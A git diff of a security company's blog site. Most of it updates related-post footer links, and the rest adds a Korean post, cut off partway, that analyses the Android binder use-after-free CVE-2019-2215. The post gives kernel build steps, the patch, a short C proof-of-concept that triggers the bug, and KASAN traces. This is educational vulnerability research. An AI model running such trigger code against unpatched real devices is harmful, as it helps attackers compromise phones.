- 뉴비들의 하드웨어 해킹 입문기 + Android 1day Exploit Analysis (CVE-2019-2215)
-
뉴비들의 하드웨어 해킹 입문기
+
Android 1day Exploit Analysis by Newbie
@@ -272,22 +272,22 @@

대응방안

-
Hyerim Jeon
+
이주협, 이주영
- +
- Android Malware : 사마귀 해부학 + 뉴비들의 하드웨어 해킹 입문기
-
about Roaming Mantis
+
뉴비들의 하드웨어 해킹 입문기
diff --git a/docs/id/2020-12-22/javascript-prototype-pollution.html b/docs/id/2020-12-22/javascript-prototype-pollution.html index 9d4bc1d..29f5f7a 100644 --- a/docs/id/2020-12-22/javascript-prototype-pollution.html +++ b/docs/id/2020-12-22/javascript-prototype-pollution.html @@ -293,22 +293,22 @@

결론

-
이주협, 이주영
+
Minjoong Kim
- +
- 뉴비들의 하드웨어 해킹 입문기 + Android 1day Exploit Analysis (CVE-2019-2215)
-
뉴비들의 하드웨어 해킹 입문기
+
Android 1day Exploit Analysis by Newbie
@@ -317,22 +317,22 @@

결론

-
Hyerim Jeon
+
이주협, 이주영
- +
- Android Malware : 사마귀 해부학 + 뉴비들의 하드웨어 해킹 입문기
-
about Roaming Mantis
+
뉴비들의 하드웨어 해킹 입문기
diff --git a/docs/id/2021-01-27/metasploit-ctf-review.html b/docs/id/2021-01-27/metasploit-ctf-review.html index 24cdf1a..b9089ef 100644 --- a/docs/id/2021-01-27/metasploit-ctf-review.html +++ b/docs/id/2021-01-27/metasploit-ctf-review.html @@ -277,22 +277,22 @@

References

-
이주협, 이주영
+
Minjoong Kim
- +
- 뉴비들의 하드웨어 해킹 입문기 + Android 1day Exploit Analysis (CVE-2019-2215)
-
뉴비들의 하드웨어 해킹 입문기
+
Android 1day Exploit Analysis by Newbie
@@ -301,22 +301,22 @@

References

-
Hyerim Jeon
+
이주협, 이주영
- +
- Android Malware : 사마귀 해부학 + 뉴비들의 하드웨어 해킹 입문기
-
about Roaming Mantis
+
뉴비들의 하드웨어 해킹 입문기
diff --git a/docs/id/2021-02-07/Gnuboard-RCE.html b/docs/id/2021-02-07/Gnuboard-RCE.html index ff38a4d..4d22f19 100644 --- a/docs/id/2021-02-07/Gnuboard-RCE.html +++ b/docs/id/2021-02-07/Gnuboard-RCE.html @@ -313,22 +313,22 @@

결론

-
이주협, 이주영
+
Minjoong Kim
- +
- 뉴비들의 하드웨어 해킹 입문기 + Android 1day Exploit Analysis (CVE-2019-2215)
-
뉴비들의 하드웨어 해킹 입문기
+
Android 1day Exploit Analysis by Newbie
@@ -337,22 +337,22 @@

결론

-
Hyerim Jeon
+
이주협, 이주영
- +
- Android Malware : 사마귀 해부학 + 뉴비들의 하드웨어 해킹 입문기
-
about Roaming Mantis
+
뉴비들의 하드웨어 해킹 입문기
diff --git a/docs/id/2021-07-29/malwareAPK.html b/docs/id/2021-07-29/malwareAPK.html index fe0f7d9..bf5dc81 100644 --- a/docs/id/2021-07-29/malwareAPK.html +++ b/docs/id/2021-07-29/malwareAPK.html @@ -402,22 +402,22 @@

4. Kesimpulan

-
이주협, 이주영
+
Minjoong Kim
- +
- 뉴비들의 하드웨어 해킹 입문기 + Android 1day Exploit Analysis (CVE-2019-2215)
-
뉴비들의 하드웨어 해킹 입문기
+
Android 1day Exploit Analysis by Newbie
@@ -426,22 +426,22 @@

4. Kesimpulan

-
Hyerim Jeon
+
이주협, 이주영
- +
- Android Malware : 사마귀 해부학 + 뉴비들의 하드웨어 해킹 입문기
-
about Roaming Mantis
+
뉴비들의 하드웨어 해킹 입문기
diff --git a/docs/id/2021-09-02/CVE-2020-26934-phpMyAdmin-Reflected-Cross-site-scripting.html b/docs/id/2021-09-02/CVE-2020-26934-phpMyAdmin-Reflected-Cross-site-scripting.html index 0f2257f..76b736c 100644 --- a/docs/id/2021-09-02/CVE-2020-26934-phpMyAdmin-Reflected-Cross-site-scripting.html +++ b/docs/id/2021-09-02/CVE-2020-26934-phpMyAdmin-Reflected-Cross-site-scripting.html @@ -171,22 +171,22 @@

Sejarah Patch

-
이주협, 이주영
+
Minjoong Kim
- +
- 뉴비들의 하드웨어 해킹 입문기 + Android 1day Exploit Analysis (CVE-2019-2215)
-
뉴비들의 하드웨어 해킹 입문기
+
Android 1day Exploit Analysis by Newbie
@@ -195,22 +195,22 @@

Sejarah Patch

-
Hyerim Jeon
+
이주협, 이주영
- +
- Android Malware : 사마귀 해부학 + 뉴비들의 하드웨어 해킹 입문기
-
about Roaming Mantis
+
뉴비들의 하드웨어 해킹 입문기
diff --git a/docs/id/2021-10-13/MikroTik-PostAuth-RCE.html b/docs/id/2021-10-13/MikroTik-PostAuth-RCE.html index 4c66438..f1f3296 100644 --- a/docs/id/2021-10-13/MikroTik-PostAuth-RCE.html +++ b/docs/id/2021-10-13/MikroTik-PostAuth-RCE.html @@ -198,22 +198,22 @@

Kode serangan

-
이주협, 이주영
+
Minjoong Kim
- +
- 뉴비들의 하드웨어 해킹 입문기 + Android 1day Exploit Analysis (CVE-2019-2215)
-
뉴비들의 하드웨어 해킹 입문기
+
Android 1day Exploit Analysis by Newbie
@@ -222,22 +222,22 @@

Kode serangan

-
Hyerim Jeon
+
이주협, 이주영
- +
- Android Malware : 사마귀 해부학 + 뉴비들의 하드웨어 해킹 입문기
-
about Roaming Mantis
+
뉴비들의 하드웨어 해킹 입문기
diff --git a/docs/id/2021-12-07/Metasploit-CTF-Review.html b/docs/id/2021-12-07/Metasploit-CTF-Review.html index aaa84c0..bd09723 100644 --- a/docs/id/2021-12-07/Metasploit-CTF-Review.html +++ b/docs/id/2021-12-07/Metasploit-CTF-Review.html @@ -574,22 +574,22 @@

Review

-
이주협, 이주영
+
Minjoong Kim
- +
- 뉴비들의 하드웨어 해킹 입문기 + Android 1day Exploit Analysis (CVE-2019-2215)
-
뉴비들의 하드웨어 해킹 입문기
+
Android 1day Exploit Analysis by Newbie
@@ -598,22 +598,22 @@

Review

-
Hyerim Jeon
+
이주협, 이주영
- +
- Android Malware : 사마귀 해부학 + 뉴비들의 하드웨어 해킹 입문기
-
about Roaming Mantis
+
뉴비들의 하드웨어 해킹 입문기
diff --git a/docs/id/2022-03-15/dirtypipe-review.html b/docs/id/2022-03-15/dirtypipe-review.html index 3e77d36..c3a4835 100644 --- a/docs/id/2022-03-15/dirtypipe-review.html +++ b/docs/id/2022-03-15/dirtypipe-review.html @@ -1003,22 +1003,22 @@

DirtyPipe Review

-
이주협, 이주영
+
Minjoong Kim
- +
- 뉴비들의 하드웨어 해킹 입문기 + Android 1day Exploit Analysis (CVE-2019-2215)
-
뉴비들의 하드웨어 해킹 입문기
+
Android 1day Exploit Analysis by Newbie
@@ -1027,22 +1027,22 @@

DirtyPipe Review

-
Hyerim Jeon
+
이주협, 이주영
- +
- Android Malware : 사마귀 해부학 + 뉴비들의 하드웨어 해킹 입문기
-
about Roaming Mantis
+
뉴비들의 하드웨어 해킹 입문기
diff --git a/docs/id/2022-04-12/ronin-bridge-vuln-analysis.html b/docs/id/2022-04-12/ronin-bridge-vuln-analysis.html index 4d0d5c8..7d85b57 100644 --- a/docs/id/2022-04-12/ronin-bridge-vuln-analysis.html +++ b/docs/id/2022-04-12/ronin-bridge-vuln-analysis.html @@ -203,22 +203,22 @@

정리하며

-
이주협, 이주영
+
Minjoong Kim
- +
- 뉴비들의 하드웨어 해킹 입문기 + Android 1day Exploit Analysis (CVE-2019-2215)
-
뉴비들의 하드웨어 해킹 입문기
+
Android 1day Exploit Analysis by Newbie
@@ -227,22 +227,22 @@

정리하며

-
Hyerim Jeon
+
이주협, 이주영
- +
- Android Malware : 사마귀 해부학 + 뉴비들의 하드웨어 해킹 입문기
-
about Roaming Mantis
+
뉴비들의 하드웨어 해킹 입문기
diff --git a/docs/id/2022-06-01/how-to-root-your-routeros-v7-virtual-machine.html b/docs/id/2022-06-01/how-to-root-your-routeros-v7-virtual-machine.html index 06f7eda..1889198 100644 --- a/docs/id/2022-06-01/how-to-root-your-routeros-v7-virtual-machine.html +++ b/docs/id/2022-06-01/how-to-root-your-routeros-v7-virtual-machine.html @@ -226,22 +226,22 @@

Limitation

-
이주협, 이주영
+
Minjoong Kim
- +
- 뉴비들의 하드웨어 해킹 입문기 + Android 1day Exploit Analysis (CVE-2019-2215)
-
뉴비들의 하드웨어 해킹 입문기
+
Android 1day Exploit Analysis by Newbie
@@ -250,22 +250,22 @@

Limitation

-
Hyerim Jeon
+
이주협, 이주영
- +
- Android Malware : 사마귀 해부학 + 뉴비들의 하드웨어 해킹 입문기
-
about Roaming Mantis
+
뉴비들의 하드웨어 해킹 입문기
diff --git a/docs/id/2022-06-08/homomorphism-in-rsa.html b/docs/id/2022-06-08/homomorphism-in-rsa.html index da4a76d..e7aa3ec 100644 --- a/docs/id/2022-06-08/homomorphism-in-rsa.html +++ b/docs/id/2022-06-08/homomorphism-in-rsa.html @@ -476,22 +476,22 @@

결론

-
이주협, 이주영
+
Minjoong Kim
- +
- 뉴비들의 하드웨어 해킹 입문기 + Android 1day Exploit Analysis (CVE-2019-2215)
-
뉴비들의 하드웨어 해킹 입문기
+
Android 1day Exploit Analysis by Newbie
@@ -500,22 +500,22 @@

결론

-
Hyerim Jeon
+
이주협, 이주영
- +
- Android Malware : 사마귀 해부학 + 뉴비들의 하드웨어 해킹 입문기
-
about Roaming Mantis
+
뉴비들의 하드웨어 해킹 입문기
diff --git a/docs/id/2022-06-30/pdf-with-react.html b/docs/id/2022-06-30/pdf-with-react.html index 8296194..d31a330 100644 --- a/docs/id/2022-06-30/pdf-with-react.html +++ b/docs/id/2022-06-30/pdf-with-react.html @@ -271,22 +271,22 @@

결론

-
이주협, 이주영
+
Minjoong Kim
- +
- 뉴비들의 하드웨어 해킹 입문기 + Android 1day Exploit Analysis (CVE-2019-2215)
-
뉴비들의 하드웨어 해킹 입문기
+
Android 1day Exploit Analysis by Newbie
@@ -295,22 +295,22 @@

결론

-
Hyerim Jeon
+
이주협, 이주영
- +
- Android Malware : 사마귀 해부학 + 뉴비들의 하드웨어 해킹 입문기
-
about Roaming Mantis
+
뉴비들의 하드웨어 해킹 입문기
diff --git a/docs/id/2022-06-30/stealien-security-seminar.html b/docs/id/2022-06-30/stealien-security-seminar.html index 1d057d9..f6ebe5e 100644 --- a/docs/id/2022-06-30/stealien-security-seminar.html +++ b/docs/id/2022-06-30/stealien-security-seminar.html @@ -226,22 +226,22 @@

Footnotes

-
이주협, 이주영
+
Minjoong Kim
- +
- 뉴비들의 하드웨어 해킹 입문기 + Android 1day Exploit Analysis (CVE-2019-2215)
-
뉴비들의 하드웨어 해킹 입문기
+
Android 1day Exploit Analysis by Newbie
@@ -250,22 +250,22 @@

Footnotes

-
Hyerim Jeon
+
이주협, 이주영
- +
- Android Malware : 사마귀 해부학 + 뉴비들의 하드웨어 해킹 입문기
-
about Roaming Mantis
+
뉴비들의 하드웨어 해킹 입문기
diff --git a/docs/id/2022-07-13/llvm-flow-flatten.html b/docs/id/2022-07-13/llvm-flow-flatten.html index 3e9cf1b..1813ae2 100644 --- a/docs/id/2022-07-13/llvm-flow-flatten.html +++ b/docs/id/2022-07-13/llvm-flow-flatten.html @@ -290,22 +290,22 @@

전후비교

-
이주협, 이주영
+
Minjoong Kim
- +
- 뉴비들의 하드웨어 해킹 입문기 + Android 1day Exploit Analysis (CVE-2019-2215)
-
뉴비들의 하드웨어 해킹 입문기
+
Android 1day Exploit Analysis by Newbie
@@ -314,22 +314,22 @@

전후비교

-
Hyerim Jeon
+
이주협, 이주영
- +
- Android Malware : 사마귀 해부학 + 뉴비들의 하드웨어 해킹 입문기
-
about Roaming Mantis
+
뉴비들의 하드웨어 해킹 입문기
diff --git a/docs/id/2022-10-04/secure-coding-traing-system.html b/docs/id/2022-10-04/secure-coding-traing-system.html index 654455c..eb4250e 100644 --- a/docs/id/2022-10-04/secure-coding-traing-system.html +++ b/docs/id/2022-10-04/secure-coding-traing-system.html @@ -232,22 +232,22 @@

마무리

-
이주협, 이주영
+
Minjoong Kim
- +
- 뉴비들의 하드웨어 해킹 입문기 + Android 1day Exploit Analysis (CVE-2019-2215)
-
뉴비들의 하드웨어 해킹 입문기
+
Android 1day Exploit Analysis by Newbie
@@ -256,22 +256,22 @@

마무리

-
Hyerim Jeon
+
이주협, 이주영
- +
- Android Malware : 사마귀 해부학 + 뉴비들의 하드웨어 해킹 입문기
-
about Roaming Mantis
+
뉴비들의 하드웨어 해킹 입문기
diff --git a/docs/id/2022-12-16/analyzing-django-orm-with-1-day.html b/docs/id/2022-12-16/analyzing-django-orm-with-1-day.html index 0d3be13..ac69cf3 100644 --- a/docs/id/2022-12-16/analyzing-django-orm-with-1-day.html +++ b/docs/id/2022-12-16/analyzing-django-orm-with-1-day.html @@ -380,22 +380,22 @@

6. 끝으로..

-
이주협, 이주영
+
Minjoong Kim
- +
- 뉴비들의 하드웨어 해킹 입문기 + Android 1day Exploit Analysis (CVE-2019-2215)
-
뉴비들의 하드웨어 해킹 입문기
+
Android 1day Exploit Analysis by Newbie
@@ -404,22 +404,22 @@

6. 끝으로..

-
Hyerim Jeon
+
이주협, 이주영
- +
- Android Malware : 사마귀 해부학 + 뉴비들의 하드웨어 해킹 입문기
-
about Roaming Mantis
+
뉴비들의 하드웨어 해킹 입문기
diff --git a/docs/id/2023-03-19/nite-team-4-operation-castle-ivy-chapter-1.html b/docs/id/2023-03-19/nite-team-4-operation-castle-ivy-chapter-1.html index b99d107..a75796a 100644 --- a/docs/id/2023-03-19/nite-team-4-operation-castle-ivy-chapter-1.html +++ b/docs/id/2023-03-19/nite-team-4-operation-castle-ivy-chapter-1.html @@ -449,22 +449,22 @@

Closing

-
이주협, 이주영
+
Minjoong Kim
- +
- 뉴비들의 하드웨어 해킹 입문기 + Android 1day Exploit Analysis (CVE-2019-2215)
-
뉴비들의 하드웨어 해킹 입문기
+
Android 1day Exploit Analysis by Newbie
@@ -473,22 +473,22 @@

Closing

-
Hyerim Jeon
+
이주협, 이주영
- +
- Android Malware : 사마귀 해부학 + 뉴비들의 하드웨어 해킹 입문기
-
about Roaming Mantis
+
뉴비들의 하드웨어 해킹 입문기
diff --git a/docs/id/2023-07-03/django-cve-2023-36053.html b/docs/id/2023-07-03/django-cve-2023-36053.html index 0f9a018..0c8ee38 100644 --- a/docs/id/2023-07-03/django-cve-2023-36053.html +++ b/docs/id/2023-07-03/django-cve-2023-36053.html @@ -250,22 +250,22 @@

7. 마무리

-
이주협, 이주영
+
Minjoong Kim
- +
- 뉴비들의 하드웨어 해킹 입문기 + Android 1day Exploit Analysis (CVE-2019-2215)
-
뉴비들의 하드웨어 해킹 입문기
+
Android 1day Exploit Analysis by Newbie
@@ -274,22 +274,22 @@

7. 마무리

-
Hyerim Jeon
+
이주협, 이주영
- +
- Android Malware : 사마귀 해부학 + 뉴비들의 하드웨어 해킹 입문기
-
about Roaming Mantis
+
뉴비들의 하드웨어 해킹 입문기
diff --git a/docs/id/2023-07-31/bughunting-vulnerability-chaining-ko.html b/docs/id/2023-07-31/bughunting-vulnerability-chaining-ko.html index 4c55c44..81ab33f 100644 --- a/docs/id/2023-07-31/bughunting-vulnerability-chaining-ko.html +++ b/docs/id/2023-07-31/bughunting-vulnerability-chaining-ko.html @@ -307,22 +307,22 @@

Conclusion

-
이주협, 이주영
+
Minjoong Kim
- +
- 뉴비들의 하드웨어 해킹 입문기 + Android 1day Exploit Analysis (CVE-2019-2215)
-
뉴비들의 하드웨어 해킹 입문기
+
Android 1day Exploit Analysis by Newbie
@@ -331,22 +331,22 @@

Conclusion

-
Hyerim Jeon
+
이주협, 이주영
- +
- Android Malware : 사마귀 해부학 + 뉴비들의 하드웨어 해킹 입문기
-
about Roaming Mantis
+
뉴비들의 하드웨어 해킹 입문기
diff --git "a/docs/id/2023-11-14/Android-malware-\354\202\254\353\247\210\352\267\200-\355\225\264\353\266\200\355\225\231-ko.html" "b/docs/id/2023-11-14/Android-malware-\354\202\254\353\247\210\352\267\200-\355\225\264\353\266\200\355\225\231-ko.html" index f83ec7f..7dad7c8 100644 --- "a/docs/id/2023-11-14/Android-malware-\354\202\254\353\247\210\352\267\200-\355\225\264\353\266\200\355\225\231-ko.html" +++ "b/docs/id/2023-11-14/Android-malware-\354\202\254\353\247\210\352\267\200-\355\225\264\353\266\200\355\225\231-ko.html" @@ -716,22 +716,22 @@

4. Outro

-
이주협, 이주영
+
Minjoong Kim
- +
- 뉴비들의 하드웨어 해킹 입문기 + Android 1day Exploit Analysis (CVE-2019-2215)
-
뉴비들의 하드웨어 해킹 입문기
+
Android 1day Exploit Analysis by Newbie
@@ -740,22 +740,22 @@

4. Outro

-
Hyerim Jeon
+
이주협, 이주영
- +
- Android Malware : 사마귀 해부학 + 뉴비들의 하드웨어 해킹 입문기
-
about Roaming Mantis
+
뉴비들의 하드웨어 해킹 입문기
diff --git a/docs/id/2024-02-05/IoT-TechBlog-ko.html b/docs/id/2024-02-05/IoT-TechBlog-ko.html index 273e409..1e98d18 100644 --- a/docs/id/2024-02-05/IoT-TechBlog-ko.html +++ b/docs/id/2024-02-05/IoT-TechBlog-ko.html @@ -824,22 +824,22 @@

7. 마치며

-
이주협, 이주영
+
Minjoong Kim
- +
- 뉴비들의 하드웨어 해킹 입문기 + Android 1day Exploit Analysis (CVE-2019-2215)
-
뉴비들의 하드웨어 해킹 입문기
+
Android 1day Exploit Analysis by Newbie
@@ -848,22 +848,22 @@

7. 마치며

-
Hyerim Jeon
+
이주협, 이주영
- +
- Android Malware : 사마귀 해부학 + 뉴비들의 하드웨어 해킹 입문기
-
about Roaming Mantis
+
뉴비들의 하드웨어 해킹 입문기
diff --git a/docs/id/2024-03-10/Android-1day-Exploit-Analysis-ko.html b/docs/id/2024-03-10/Android-1day-Exploit-Analysis-ko.html new file mode 100644 index 0000000..439fe25 --- /dev/null +++ b/docs/id/2024-03-10/Android-1day-Exploit-Analysis-ko.html @@ -0,0 +1,2534 @@ + + + + + + + + + + +Android 1day Exploit Analysis (CVE-2019-2215) + +Android 1day Exploit Analysis (CVE-2019-2215) | STEALIEN Technical Blog + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+
+
+
+
+
+
+
+
R&D
+
Android 1day Exploit Analysis (CVE-2019-2215)
+
+
+ + Minjoong Kim +
+
Mar 10, 2024
+
+
+
+
+
+

1. Introduction

+ +

평소에 관심이 많았던 Android 커널 exploit을 공부해보고자 이 게시물을 작성한다.

+ +

취약점은 공개된 Android Kernel CVE인 CVE-2019-2215를 대상으로 분석을 진행했다. 해당 취약점의 경우 다양한 블로그에 취약점 정리가 잘 되어있고, poc 코드와 exploit 코드가 github에 공개된 상태로 존재하기 때문에, 처음 Android 커널 exploit을 공부하는 입장에서 분석이 용이할 것이라 생각하여 이 블로그에서는 해당 취약점을 분석했다.

+ +

이전까지 공개된 취약점 분석에 대해, Root cause 분석부터 exploit까지 도달하는 과정에서 사용된 linux kernel code를 직접 확인하며 그 흐름을 따라가는 것을 목표로 블로그를 작성한다.

+ +

이 글에서 나오는 exploit 코드 및 취약점 정보는 아래 Reference에서 확인할 수 있다.

+ +


+

+ +

2. Environment Setting

+ +

이 챕터에서는 취약점 분석을 위한 환경설정을 하는 방법에 대해 소개한다.

+ + + +


+ +

2.1 Build Android Kernel

+ +
git clone <https://github.com/cloudfuzz/android-kernel-exploitation> ~/workshop
+PATH=~/Android/Sdk/platform-tools:$PATH
+PATH=~/Android/Sdk/emulator:$PATH
+
+cd workshop
+cd android-4.14-dev/
+repo init --depth=1 -u <https://android.googlesource.com/kernel/manifest> -b q-goldfish-android-goldfish-4.14-dev
+cp ../custom-manifest/default.xml .repo/manifests/
+repo sync -c --no-tags --no-clone-bundle -j`nproc`
+
+ +


+ +

2.2 Boot Kernel with Android emulator

+ +
BUILD_CONFIG=../build-configs/goldfish.x86_64.kasan build/build.sh
+
+

/home/ubuntu/workshop/android-4.14-dev/out/relwithdebinfo/dist

+
    +
  • bzImage
  • +
  • kernel-headers.tar.gz
  • +
  • kernel-uapi-headers.tar.gz
  • +
  • System.map
  • +
  • vmlinux
  • +
  • +

    no kasan but gdbsymbols

    + +
      emulator -show-kernel -no-snapshot -wipe-data -avd CVE-2019-2215 -kernel /home/ubuntu/workshop/android-4.14-dev/out/relwithdebinfo/dist/bzImage
    +
    + +
      +
    • debugging할 때는 마지막에 -qemu -s 옵션 추가
    • +
    +
  • +
  • +

    with kasan

    + +
      emulator -show-kernel -no-snapshot -wipe-data -avd CVE-2019-2215 -kernel /home/ubuntu/workshop/android-4.14-dev/out/kasan/dist/bzImage
    +
    +
  • +
  • +

    debugging

    + +
      emulator -show-kernel -no-snapshot -wipe-data -avd CVE-2019-2215 -kernel /home/ubuntu/workshop/android-4.14-dev/out/relwithdebinfo/dist/bzImage -qemu -s -S
    +
    +
  • +
+ +


+

+ +

3. Background Information

+ +

이 쳅터에서는 실제로 코드를 분석하기 전, commit과 patch 내용을 토대로 취약점에 대한 전반적인 내용을 확인해 본다.

+ +


+ +

3.1 commit

+ +
    +
  • +

    https://android.googlesource.com/kernel/msm/+/550c01d0e051461437d6e9d72f573759e7bc5047%5E!/#F0

    + +
      UPSTREAM: ANDROID: binder: remove waitqueue when thread exits.
    +    
    +  binder_poll() passes the thread->wait waitqueue that
    +  can be slept on for work. When a thread that uses
    +  epoll explicitly exits using BINDER_THREAD_EXIT,
    +  the waitqueue is freed, but it is never removed
    +  from the corresponding epoll data structure. When
    +  the process subsequently exits, the epoll cleanup
    +  code tries to access the waitlist, which results in
    +  a use-after-free.
    +    
    +  Prevent this by using POLLFREE when the thread exits.
    +    
    +  (cherry picked from commit f5cb779ba16334b45ba8946d6bfa6d9834d1527f)
    +    
    +  Change-Id: Ib34b1cbb8ab2192d78c3d9956b2f963a66ecad2e
    +  Signed-off-by: Martijn Coenen <maco@android.com>
    +  Reported-by: syzbot <syzkaller@googlegroups.com>
    +  Cc: stable <stable@vger.kernel.org> # 4.14
    +  Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
    +    
    +
    +
  • +
  • 위 commit에서 알 수 있는 내용은 아래와 같다. +
      +
    1. binder_poll이 thread→wait waitqueue를 넘긴다.
    2. +
    3. 이 쓰레드는 epoll에서 BINDER_THREAD_EXIT에 의해 해제되면서 waitqueue가 해제된다.
    4. +
    5. 하지만 epoll data structure에는 여전히 남아있다.
    6. +
    7. 따라서 이후 epoll cleanup과정에서 waitqueue에 접근할 때 UAF가 터진다
    8. +
    +
  • +
  • commit에 언급된 부분은 BINDER_THREAD_EXIT, epollwaitqueue, binder_poll 이고, 이를 앞으로 분석한다.
  • +
+ +


+ +

3.2 Patch diff

+ +
    +
  • +

    우리는 patch 내용을 보고 실제 코드에서 어떤 부분이 취약했는지 유추하고 이를 어떤 방법으로 막았는지 살펴본다.

    + +
      /drivers/android/binder.c patch diff
    +    
    +  --- a/drivers/android/binder.c
    +  +++ b/drivers/android/binder.c
    +    
    +  @@ -4535,6 +4535,18 @@
    +   		if (t)
    +   			spin_lock(&t->lock);
    +   	}
    +  +
    +  +	/*
    +  +	 * If this thread used poll, make sure we remove the waitqueue
    +  +	 * from any epoll data structures holding it with POLLFREE.
    +  +	 * waitqueue_active() is safe to use here because we're holding
    +  +	 * the inner lock.
    +  +	 */
    +  +	if ((thread->looper & BINDER_LOOPER_STATE_POLL) &&
    +  +	    waitqueue_active(&thread->wait)) {
    +  +		wake_up_poll(&thread->wait, POLLHUP | POLLFREE);
    +  +	}
    +  +
    +   	binder_inner_proc_unlock(thread->proc);
    +    
    +   	if (send_reply)
    +    
    +
    +
  • +
  • 위 코드는 binder_thread_release함수 내부에 추가된 코드이다.
  • +
  • 위 코드에서 주석을 보고 알 수 있는 점은 다음과 같다. +
      +
    • binder를 해제할 때 epoll 구조체에 연결되어 있는지 확인하는 작업을 추가했고, 이를 waitqueue_activate함수를 추가함으로서 해결한 것으로 유추할 수 있다.
    • +
    +
  • +
  • wait_queue_activate함수는 thread->wait->wq_head->head->next가 head 자기 자신을 가리키는지 확인한다. 즉 circular double linked list에서 node의 next가 자기 자신을 가리키는 상황으로 존재하는지 여부를 확인한다.
  • +
+ +

이를 통해 알 수 있는 점은 binder thread와 epoll간의 wait_queue 연결이 되어 있고, circular double linked list가 문제가 될 수 있다는 점을 알 수 있다.

+ +


+

+ +

4. Root Cause Analysis

+ +

이번 쳅터에서는 POC를 통해 UAF가 발생되는 취약점의 Root Cause를 분석한다.

+ +

분석 순서는 POC의 진행 과정을 따라 Allocate, Free, Use 순으로 진행된다.

+ +


+ +

4.1 POC

+ +
#include <fcntl.h>
+#include <sys/epoll.h>
+#include <sys/ioctl.h>
+#include <unistd.h>
+
+#define BINDER_THREAD_EXIT 0x40046208ul
+
+int main()
+{
+        int fd, epfd;
+        struct epoll_event event = { .events = EPOLLIN };
+
+        fd = open("/dev/binder0", O_RDONLY);
+        epfd = epoll_create(1000);
+        epoll_ctl(epfd, EPOLL_CTL_ADD, fd, &event);
+        ioctl(fd, BINDER_THREAD_EXIT, NULL);
+}
+
+
+ +


+ +

4.2 Allocate

+ +

Use-After-Free 버그가 발생했다는 것은 patch note를 통해 알 수 있다. 이후, Use-After-Free 취약점이 발생한 힙 청크가 어디서 할당되었는지 알아보기 위해 chromium에 올라온 KASAN 코드를 확인해 볼 수 있다.

+ + + +
[  464.655899] c0   3033 Allocated by task 3033:
+[  464.658257]  [<ffffff900808e5a4>] save_stack_trace_tsk+0x0/0x204
+[  464.663899]  [<ffffff900808e7c8>] save_stack_trace+0x20/0x28
+[  464.669882]  [<ffffff90082b0b14>] kasan_kmalloc.part.5+0x50/0x124
+[  464.675528]  [<ffffff90082b0e38>] kasan_kmalloc+0xc4/0xe4
+[  464.681597]  [<ffffff90082ac8a4>] kmem_cache_alloc_trace+0x12c/0x240
+[  464.686992]  [<ffffff90094093c0>] binder_get_thread+0xdc/0x384
+[  464.693319]  [<ffffff900940969c>] binder_poll+0x34/0x1bc
+[  464.699127]  [<ffffff900833839c>] SyS_epoll_ctl+0x704/0xf84
+[  464.704423]  [<ffffff90080842b0>] el0_svc_naked+0x24/0x28
+
+
+ +

위 정보를 보면 epoll_ctl에서 binder_poll이 호출되어 힙이 할당된다. POC를 확인해 봤을 때, 아래에 해당하는 부분에서 청크가 할당된 것으로 추측할 수 있다.

+ +
epoll_ctl(epfd, EPOLL_CTL_ADD, fd, &event);
+
+ +
    +
  • epfd : epoll_create의 return value
  • +
  • fd : binder file descripter
  • +
+ +

binder 드라이버의 파일 디스크립터는 open("/dev/binder0", O_RDONLY); 코드를 통해 얻을 수 있고, epfd는 epfd = epoll_create(1000); 이 코드를 통해 얻게 된다. 따라서 우리는 먼저 epoll_create를 분석한다.

+ +


+ +

4.2.1 epoll_create

+ +
// poc.c
+int main()
+{
+        ...
+        epfd = epoll_create(1000);
+        ...
+}
+
+ +

위 poc에서 호출되는 epoll_create의 과정을 간략히 설명하면 다음과 같다.

+ +
    +
  1. binder_open함수가 실행되고 binder_proc 구조체가 할당된다.
  2. +
  3. +

    epoll_create → epoll_alloc 함수가 실행되고 그 내부적으로 아래와 같은 코드가 실행된다.

    + +
     //  /fs/eventpoll.c
    + static int ep_alloc(struct eventpoll **pep)
    + {
    + 		[...]
    + 		struct eventpoll *ep;
    + 		[...]
    +    
    + 		init_wait_queue_head(&ep->wq);
    + 			//ep->wq->head->next = ep->wq->head
    + 			//ep->wq->head->prev = ep->wq->head
    + 		init_wait_queue_head(&ep->poll_wait)
    + 			//ep->poll_wait->head->next = ep->poll_wait->head
    + 			//ep->poll_wait->head->prev = ep->poll_wait->head
    +    
    + 		[...]
    + }
    +
    +
  4. +
+ +


+ +

그리고 아래 코드에 의해 file→private_data = ep ; ep→file = file 이 결론적으로 수행된다.

+ +
// /fs/eventpoll.c
+SYSCALL_DEFINE1(epoll_create1, int, flags)
+{
+    file = anon_inode_getfile("[eventpoll]", &eventpoll_fops, ep,
+						 O_RDWR | (flags & O_CLOEXEC)); // file->private_data = ep
+
+    //[...]
+    ep->file = file;
+    fd_install(fd, file);
+    return fd;
+    //[...]
+}
+
+// /fs/anon_inodes.c
+struct file *anon_inode_getfile(const char *name,
+				const struct file_operations *fops,
+				void *priv, int flags)
+{
+  //[...]
+  file->private_data = priv;
+  return file
+  //[...]
+}
+
+ +

결과적으로 생성된 구조체는 다음과 같다.

+ +

그림 1. epoll_create이후 생성된 구조체 list

+ +
    +
  • 위 다이어그램은 각 구조체의 중요한 맴버만 표시한 것으로 다이어그램 속 맴버가 전부가 아님을 밝힌다.
  • +
+ +


+ +

4.2.2 epoll_ctl

+ +
// poc.c
+int main()
+{
+        //[...]
+        epfd = epoll_create(1000);
+        epoll_ctl(epfd, EPOLL_CTL_ADD, fd, &event);
+        //[...]
+}
+
+ +


+POC를 따라 epoll_ctl 코드가 있는 곳을 보면 아래와 같다.

+ +
// /fs/eventpoll.c
+SYSCALL_DEFINE4(epoll_ctl, int, epfd, int, op, int, fd,
+		struct epoll_event __user *, event)
+{
+	int error;
+	int full_check = 0;
+	struct fd f, tf;
+	struct eventpoll *ep;
+	struct epitem *epi;
+	struct epoll_event epds;
+	struct eventpoll *tep = NULL;
+
+    //[...]
+
+	case EPOLL_CTL_ADD:
+			if (!epi) {
+				epds.events |= POLLERR | POLLHUP;
+				error = ep_insert(ep, &epds, tf.file, fd, full_check);
+			} else
+				error = -EEXIST;
+			break;
+
+
+ +
    +
  • ep_insert 함수가 실행되는데 인자로 들어가는 부분은 아래와 같다. +
      +
    • ep : f.file→private_data, ep_create 로 만들어진 eventpoll 구조체이다.
    • +
    • epds : epoll_ctl의 4번째 인자가 copy된 값이다.
    • +
    • tf : fd의 file descriptor로, binder의 fd값이다.
    • +
    +
  • +
+ +


+ep_insert 함수에서 아래 함수가 실행된다.

+ +
